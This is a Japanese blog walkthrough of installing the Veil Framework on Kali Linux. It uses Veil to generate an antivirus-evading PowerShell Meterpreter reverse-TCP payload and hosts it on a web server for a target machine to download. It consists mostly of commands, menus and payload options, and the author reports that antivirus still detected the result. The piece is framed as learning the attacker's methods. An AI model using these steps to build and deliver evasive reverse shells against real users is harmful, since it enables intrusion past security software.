Meterperterセッションを確立するには以下の2つをクリアする必要があります
- ターゲット端末の操作者に実行ファイルを実行させる
- アンチウィルスによる検知を回避する
実行ファイルが実行されてもアンチウィルスに検知されてしまっては目的を果たすことができません。 そこで、アンチウィルスを回避するVei Frameworkを試してみました。
Vei Frameworkをインストールする
まずは下記コマンドで Vei Frameworkをインストールします。
(インストール完了まで5分程度かかります)
┌──(root㉿kali)-[/home/kali] └─# apt install veil-evasion
veilコマンドを実行すると、Are you sure you wish to install Veil?と質問されるので「s」のサイレントモードでのinstallで実行します。
┌──(root㉿kali)-[/home/kali] └─# veil ========================================================================== Veil (Setup Script) | [Updated]: 2018-05-08 ========================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ========================================================================== os = kali osversion = 2023.1 osmajversion = 2023 arch = x86_64 trueuser = kali userprimarygroup = kali userhomedir = /home/kali rootdir = /usr/share/veil veildir = /var/lib/veil outputdir = /var/lib/veil/output dependenciesdir = /var/lib/veil/setup-dependencies winedir = /var/lib/veil/wine winedrive = /var/lib/veil/wine/drive_c gempath = Z:\var\lib\veil\wine\drive_c\Ruby187\bin\gem [I] Kali Linux 2023.1 x86_64 detected... [?] Are you sure you wish to install Veil? Continue with installation? ([y]es/[s]ilent/[N]o):
このインストールには10分程度かかるのでしばらく待ちます。
Veiのインストール完了を確認する
最終的に Done! と表示され、Veilが実行できるようになったらインストール完了です。
(ここでは一旦exitで抜けます)
[I] Done! =============================================================================== Veil | [Version]: 3.1.14 =============================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework =============================================================================== Main Menu 2 tools loaded Available Tools: 1) Evasion 2) Ordnance Available Commands: exit Completely exit Veil info Information on a specific tool list List available tools options Show Veil configuration update Update Veil use Use a specific tool Veil>:
Veiを起動する
Veiを起動するにはveilコマンドを実行するだけです。 これでアンチウィルスを回避するVei Frameworkのインストールが完了しました。
┌──(root㉿kali)-[/home/kali] └─# veil =============================================================================== Veil | [Version]: 3.1.14 =============================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework =============================================================================== Main Menu 2 tools loaded Available Tools: 1) Evasion 2) Ordnance Available Commands: exit Completely exit Veil info Information on a specific tool list List available tools options Show Veil configuration update Update Veil use Use a specific tool Veil>:
自分のローカル環境でテストするだけであればいったんアンチウィルスソフトを無効化すればよいので、ここまでの準備はしなくても実験はできます。
しかし、攻撃者の視点に立つとアンチウィルスの回避は必須なので、手口を知っておくことは有益かと思います。
Veiをアップデートしておく
以下のコマンドを実行してVeilを最新の状態にしておきます。
Veil>: update
ツールを選択する
起動時にEvasionとOrdnanceがAvailable Toolsとして表示されました。 アンチウィルスを回避したい場合は以下のように入力してEvasionを選択します。
Veil>: use 1
ペイロードを選択する
Veil/Evasion>: list =============================================================================== Veil-Evasion =============================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework =============================================================================== [*] Available Payloads: 1) autoit/shellcode_inject/flat.py 2) auxiliary/coldwar_wrapper.py 3) auxiliary/macro_converter.py 4) auxiliary/pyinstaller_wrapper.py 5) c/meterpreter/rev_http.py 6) c/meterpreter/rev_http_service.py 7) c/meterpreter/rev_tcp.py 8) c/meterpreter/rev_tcp_service.py 9) cs/meterpreter/rev_http.py 10) cs/meterpreter/rev_https.py 11) cs/meterpreter/rev_tcp.py 12) cs/shellcode_inject/base64.py 13) cs/shellcode_inject/virtual.py 14) go/meterpreter/rev_http.py 15) go/meterpreter/rev_https.py 16) go/meterpreter/rev_tcp.py 17) go/shellcode_inject/virtual.py 18) lua/shellcode_inject/flat.py 19) perl/shellcode_inject/flat.py 20) powershell/meterpreter/rev_http.py 21) powershell/meterpreter/rev_https.py 22) powershell/meterpreter/rev_tcp.py 23) powershell/shellcode_inject/psexec_virtual.py 24) powershell/shellcode_inject/virtual.py 25) python/meterpreter/bind_tcp.py 26) python/meterpreter/rev_http.py 27) python/meterpreter/rev_https.py 28) python/meterpreter/rev_tcp.py 29) python/shellcode_inject/aes_encrypt.py 30) python/shellcode_inject/arc_encrypt.py 31) python/shellcode_inject/base64_substitution.py 32) python/shellcode_inject/des_encrypt.py 33) python/shellcode_inject/flat.py 34) python/shellcode_inject/letter_substitution.py 35) python/shellcode_inject/pidinject.py 36) python/shellcode_inject/stallion.py 37) ruby/meterpreter/rev_http.py 38) ruby/meterpreter/rev_https.py 39) ruby/meterpreter/rev_tcp.py 40) ruby/shellcode_inject/base64.py 41) ruby/shellcode_inject/flat.py
22番目にある「powershell/meterpreter/rev_tcp.py」というペイロードを選択してみます。
以下のように入力します。
Veil/Evasion>: use 22 =============================================================================== Veil-Evasion =============================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework =============================================================================== Payload Information: Name: Pure PowerShell Reverse TCP Stager Language: powershell Rating: Excellent Description: pure windows/meterpreter/reverse_tcp stager, no shellcode Payload: powershell/meterpreter/rev_tcp selected Required Options: Name Value Description ---- ----- ----------- BADMACS FALSE Checks for known bad mac addresses DOMAIN X Optional: Required internal domain HOSTNAME X Optional: Required system hostname LHOST IP of the Metasploit handler LPORT 4444 Port of the Metasploit handler MINBROWSERS FALSE Minimum of 2 browsers MINPROCESSES X Minimum number of processes running MINRAM FALSE Require a minimum of 3 gigs of RAM PROCESSORS X Optional: Minimum number of processors SLEEP X Optional: Sleep "Y" seconds, check if accelerated USERNAME X Optional: The required user account USERPROMPT FALSE Window pops up prior to payload UTCCHECK FALSE Check that system isn't using UTC time zone VIRTUALPROC FALSE Check for known VM processes Available Commands: back Go back to Veil-Evasion exit Completely exit Veil generate Generate the payload options Show the shellcode's options set Set shellcode option
生成されたペイロードを確認してインターネットより参照できるディレクトリに移動する。
┌──(root㉿kali)-[/var/www/html/share] └─# cd /var/lib/veil/output/source ┌──(root㉿kali)-[/var/lib/veil/output/source] └─# ls evil4.bat ┌──(root㉿kali)-[/var/lib/veil/output/source] └─# cp /var/lib/veil/output/source/evil4.bat /var/www/html/share
生成されたペイロードは/var/lib/veil/output/sourceに出力されます。
これを、/var/www/html/以下の任意の場所に配置して、インターネット経由でアクセスできるようにします。
標的端末より以下のURLにアクセスして、ペイロードをダウンロードします。
その際アンチウィルスが反応しなければ、成功です。
http://192.168.28.5/share/
結論
今回のやり方ではアンチウィルスが反応しました。
マイクロソフトが対策をして、Vei Frameworkで生成したペイロードにも反応したのかもしれません。
アンチウィルス回避の方法は別のアプローチが必要になりそうです。
個人のゲストOS上で試すには、アンチウィルスを無効化すれば実験は進める事が出来るので、 ひとまず以上とします。次にペイロードに別ファイルをバインドさせて試してみようと思います。